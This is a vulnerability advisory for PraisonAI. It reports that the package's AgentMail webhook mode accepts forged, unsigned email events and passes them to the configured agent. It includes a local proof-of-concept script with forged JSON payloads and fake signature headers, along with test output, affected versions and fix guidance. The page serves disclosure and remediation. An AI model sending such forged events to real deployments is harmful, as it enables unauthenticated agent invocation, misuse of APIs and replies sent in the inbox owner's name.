GHSA-7c92-x8vg-4258 CVE-2026-61436 PYSEC-2026-4252
PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
- Severity
- 8.8 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.39%
- Chance of exploitation in the next 30 days. Higher than 33.15% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-287 Improper Authentication
- CWE-306 Missing Authentication for Critical Function
- CWE-347 Improper Verification of Cryptographic Signature
- Fix
4.6.78- Upgrade praisonai to this version or later
Description
AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
Summary
praisonai AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled message.received JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.
Technical Details
The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes svix-id, svix-timestamp, and svix-signature headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as AGENTMAIL_WEBHOOK_SECRET, before trusting the event body. AgentMail's documented verified payload examples route on event_type; the forged payload below intentionally uses PraisonAI's accepted handler shape, type plus data, because that is the shape _handle_email_webhook() accepts before any signature verification.
src/praisonai/praisonai/bots/agentmail.py exposes webhook mode through AgentMailBot(mode=...) or a BotConfig whose mode is webhook. In _start_webhook_mode(), PraisonAI registers POST {webhook_path} and binds the aiohttp site to 0.0.0.0 on the configured webhook port. When config.webhook_url is set, the same method calls client.webhooks.create(url=..., event_types=["message.received"], inbox_ids=...), but it does not store or use the returned webhook secret.
The handler then trusts the parsed JSON body. _handle_email_webhook() calls await request.json(), reads body.get("type", ""), and if the value is message.received, schedules _process_webhook_payload(body) and returns 200 OK. It does not read the raw body, inspect request headers, verify svix-id, verify svix-timestamp, verify svix-signature, or check any webhook secret before scheduling the event.
_process_webhook_payload() builds a BotMessage from attacker-controlled JSON fields: data.message_id, data.from/data.from_, data.subject, data.extracted_text/data.text, data.thread_id, and data.in_reply_to. It then calls _handle_message(message). _handle_message() fires message hooks, calls self._session.chat(self._agent, sender_id, body, ...), and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.
This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed MessageReceivedEvent instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.
PoV
the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.
The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level type field with value message.received and a nested data object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using event_type after Svix verification. The issue is that PraisonAI accepts the unauthenticated type/data body and dispatches it before verifying that the request came from AgentMail.
Essential PoV excerpt:
class FakeRequest:
def __init__(self, body, headers=None, json_error=False):
self._body = body
self.headers = headers or {}
self._json_error = json_error
async def json(self):
if self._json_error:
raise ValueError("invalid json")
return self._body
bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="assistant@example.test",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()
payload = {
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
}
headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
response = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))
await asyncio.sleep(0)
Expected vulnerable behavior: the response status is 200, the invalid Svix signature is ignored, and the fake session records one agent call with sender_id set to attacker@example.test and body set to invalid signature forged body.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
Run against a local checkout of current head:
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c
Decisive current-head output:
{
"label": "current-head-846568c",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
Run against the latest release tag observed during testing:
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47
Decisive v4.6.62 output:
{
"label": "v4.6.62-2a855c47",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return 200 and reach the agent session once. Invalid JSON returns 400 without an agent call, non-message.received events are ignored, and repeated message_id values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.
Impact
If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.
The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.
This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.
Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6). Suggested CWEs: CWE-347 Improper Verification of Cryptographic Signature, CWE-306 Missing Authentication for Critical Function, and CWE-287 Improper Authentication.
Suggested Fix
Fail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by client.webhooks.create(...), or require an explicit agentmail_webhook_secret/AGENTMAIL_WEBHOOK_SECRET configuration value for existing webhook endpoints.
Verify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid svix-id, svix-timestamp, and svix-signature headers before scheduling _process_webhook_payload(). Do not use await request.json() as the verification input; signature verification needs the exact raw body bytes.
Suggested regression tests:
- webhook mode without a configured signing secret refuses startup or returns
401/400formessage.received; - missing Svix headers do not call
_process_webhook_payload(); - invalid Svix signature does not call
_process_webhook_payload(); - stale timestamp does not call
_process_webhook_payload(); - valid Svix signature for the raw body reaches
_process_webhook_payload(); - duplicate
message_idbehavior remains intact after verification succeeds.
Affected Package/Versions
Affected package: pypi:praisonai.
Latest PyPI version observed during testing: 4.6.62. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected. Latest release tag v4.6.62 at commit 2a855c470077c7d2e2479a575f7ef7f548d51c33 is affected.
Sampled tag sweep:
v4.4.12 agentmail_absent
v4.5.16 agentmail_absent
v4.5.128 present_unsigned_webhook
v4.6.33 present_unsigned_webhook
v4.6.58 present_unsigned_webhook
v4.6.59 present_unsigned_webhook
v4.6.60 present_unsigned_webhook
v4.6.62 present_unsigned_webhook
current present_unsigned_webhook
Conservative suggested affected range: AgentMail webhook-bearing praisonai releases at least >= 4.5.128, <= 4.6.62, plus current head. The component was absent in sampled tags v4.4.12 and v4.5.16. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix message.received events and dispatching them into AgentMailBot._handle_message().
Nearby advisories are distinct:
GHSA-fc26-m9pf-v56q, "PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.GHSA-x92v-rpx6-p6cw, "Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.GHSA-qvpf-j64c-jmhr, "PraisonAI Slack app_mention bypasses configured user/channel authorization", covers Slack event authorization, not AgentMail webhook authenticity.GHSA-vg22-4gmj-prxw/CVE-2026-47391cover unauthenticated A2Amessage/send, not AgentMail webhooks.GHSA-86qc-r5v2-v6x6covers the call server token gap, not AgentMail webhook delivery.
Public Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail message.received dispatch path.
References
- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification
- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create
- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q
- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw
- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr
- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html
- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html
- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html
Appendix A - Full PoV Script
#!/usr/bin/env python3
"""PoV for PraisonAI AgentMail webhook authenticity.
The script calls the AgentMail webhook handler directly with fake aiohttp
requests. It does not bind a port, contact AgentMail, or send email.
"""
from __future__ import annotations
import argparse
import asyncio
import json
import sys
import types
from pathlib import Path
from typing import Any
class FakeResponse:
def __init__(self, status: int = 200, text: str = "", content_type: str | None = None):
self.status = status
self.text = text
self.content_type = content_type
class FakeRequest:
def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):
self._body = body
self.headers = headers or {}
self._json_error = json_error
async def json(self) -> dict[str, Any]:
if self._json_error:
raise ValueError("invalid json")
return self._body or {}
class RecordingSession:
def __init__(self) -> None:
self.calls: list[dict[str, Any]] = []
async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str:
self.calls.append(
{
"sender_id": sender_id,
"body": body,
"chat_id": kwargs.get("chat_id"),
"message_id": kwargs.get("message_id"),
"account": kwargs.get("account"),
}
)
return "local agent response"
def install_fake_aiohttp() -> None:
web = types.SimpleNamespace(Response=FakeResponse)
sys.modules["aiohttp"] = types.SimpleNamespace(web=web)
def configure_import_path(repo: Path) -> None:
sys.path.insert(0, str(repo / "src" / "praisonai"))
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
async def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]:
before_calls = len(bot._session.calls)
before_sends = len(bot._sent_messages)
response = await bot._handle_email_webhook(request)
for _ in range(sleep_ticks):
await asyncio.sleep(0)
return {
"http_status": response.status,
"session_delta": len(bot._session.calls) - before_calls,
"send_delta": len(bot._sent_messages) - before_sends,
"session_calls": bot._session.calls[before_calls:],
"sent_messages": bot._sent_messages[before_sends:],
}
async def main_async(repo: Path, label: str) -> dict[str, Any]:
install_fake_aiohttp()
configure_import_path(repo)
from praisonai.bots.agentmail import AgentMailBot
from praisonaiagents.bots import BotConfig
bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="assistant@example.test",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()
bot._sent_messages = []
async def fake_send_message(**kwargs: Any) -> None:
bot._sent_messages.append(kwargs)
bot.send_message = fake_send_message
invalid_svix_headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
cases: dict[str, Any] = {}
cases["forged_unsigned_message"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-unsigned",
"from": "attacker@example.test",
"subject": "Forged unsigned message",
"extracted_text": "unsigned forged body",
},
}
),
)
cases["forged_invalid_svix_signature"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
},
headers=invalid_svix_headers,
),
)
cases["invalid_json_control"] = await run_case(bot, FakeRequest(None, json_error=True))
cases["non_message_event_control"] = await run_case(
bot,
FakeRequest(
{
"type": "domain.verified",
"data": {
"message_id": "msg-non-message",
"from": "attacker@example.test",
"extracted_text": "should not be processed",
},
}
),
)
cases["duplicate_message_control"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Duplicate",
"extracted_text": "duplicate should not create a second call",
},
},
headers=invalid_svix_headers,
),
)
vulnerable = (
cases["forged_unsigned_message"]["http_status"] == 200
and cases["forged_unsigned_message"]["session_delta"] == 1
and cases["forged_invalid_svix_signature"]["http_status"] == 200
and cases["forged_invalid_svix_signature"]["session_delta"] == 1
and cases["invalid_json_control"]["http_status"] == 400
and cases["invalid_json_control"]["session_delta"] == 0
and cases["non_message_event_control"]["session_delta"] == 0
and cases["duplicate_message_control"]["session_delta"] == 0
)
return {
"label": label,
"repo": str(repo),
"vulnerable": vulnerable,
"finding": "AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session",
"cases": cases,
}
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path, required=True)
parser.add_argument("--label", default="current-head")
args = parser.parse_args()
result = asyncio.run(main_async(args.repo.resolve(), args.label))
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if result["vulnerable"] else 1
if __name__ == "__main__":
raise SystemExit(main())
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.6.78 |
4.6.78 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.78
- pip
pip install --upgrade "praisonai>=4.6.78"- poetry
poetry add "praisonai>=4.6.78"- uv
uv add "praisonai>=4.6.78"
Severity breakdown
CVSS 4.0 8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- Low
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 8.6
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- High
- Availability
- Low
Weakness
CWE-287: Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
How to prevent it
- Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CWE-306: Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
How to prevent it
- Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
- Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CWE-347: Improper Verification of Cryptographic Signature
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
References
Advisories
Packages
Other links
- github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7c92-x8vg-4258
- github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33
- github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753
- vulncheck.com/advisories/praisonai-before-missing-webhook-signature-verification
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor